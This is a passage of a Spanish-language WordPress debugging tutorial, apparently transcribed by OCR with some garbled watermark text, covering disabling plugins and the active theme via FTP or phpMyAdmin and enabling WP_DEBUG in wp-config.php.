Tras renombrar un plugin, prueba tu sitio y repite la operacion
hasta encontrar al «culpable»; una vez identificado el
causante del error, puedes borrar ese directorio en tu servidor,
con el cliente FTP.

Paso 2 — Deshabilita el Tema activo.
Hay dos formas de hacer esta comprobacion, la primera es a través de tu cliente FTP.

De igual manera que con los plugin, navega hasta el directorio
wp-content y dentro de ese directorio al directorio themes, ahi
encontraras los directorios que contienen los Temas que
solowordpress.es tengas instalados.

Part

Renombra el directorio del tema que tienes instalado (de igual
manera que hiciste con el directorio de plugins) y
autométicamente WordPress empezara a usar el Tema por
defecto, o Tema «Fallback» (Por eso es conveniente tener
disponible el tema correspondiente a la version instalada).

La otra forma de hacer la comprobacion, es mediante el uso
de la herramienta phpMyAdmin.

& Cusie mmaty

Para ello, accede a tu base de datos y dirigete a la tabla xx_options (donde ‘xxx’ es el prefijo que tengas establecido) y dentro de
esta encontraras dos registros (probablemente los nimero 44 y 45) con los nombres de template y stylesheet.

Modifica estos dos registros para que indiquen el nombre del tema que quieres usar, que en nuestro ejemplo es twentytwenty.

Recuerda que realizar cambios directamente en la base de __'.f‘ . v S 0% P B e 5 oy | S e o) Py e Sy

datos, es una accion de alto riesgo. Asegurate de tener una P
copia de seguridad y que sabes como restaurar, antes de - e
tocar nada.

solowordaragseg

Paso 3 - Habilita WP_DEBUG

WP_DEBUG es una constante que puedes afiadir a tu archivo
de configuracién wp-config.php, que hara que se presenten en
pantalla todos los errores.

Para habilitar esta opcion, accede mediante FTP a tu servidor,
en el directorio raiz encontraras el archivo wp-config.php.

Algunos clientes FTP te permitiran editar directamente el archivo, otros te permiten solo descargar el archivo que tendras que
editar con el editor de codigo mencionado anteriormente, y luego volver a subir el archivo.

solowerelarass.es

La edicion que debes hacer es muy sencilla, localiza la linea: - e
define('WP_DEBUG/, false ); oy dark . s S e

debes cambiar el valor false por true, de forma que la linea queda asi. o
define('WP_DEBUG', true );

Asegurate de no cambiar nada mas y guarda el archivo (y subelo si procede).
Esto no resolvera ningln problema por si mismo, pero te proporcionara informacion adicional que puede resultar muy Util para la
resolucion del problema.

solowordpreszs.es

Conclusién

Depurar WordPress puede resultar sencillo, aunque también tedioso. Lo importante es que ahora conoces las formulas generales

para encontrar y subsanar muchos errores.

No digo que estas sean las Unicas posibilidades y conociendo esto ya sepas arreglar todo, puede haber casos en que esto no sea
suficiente, puede haber otras causas de error entre las que cabe citar:

* Infeccién de malware.

*  Sitio «craqueado» (recuerda, hay hackers de varios sombreros © )

* Fallo en la configuracién del servidor.

Espero que no tengas la necesidad de acudir a un experto externo, pero no dudes en hacerlo si no estas seguro de lo que haces.

Recuerda hacer copias de seguridad que estén a buen recaudo pero accesibles y aseguarte de saber como restaurarlas.
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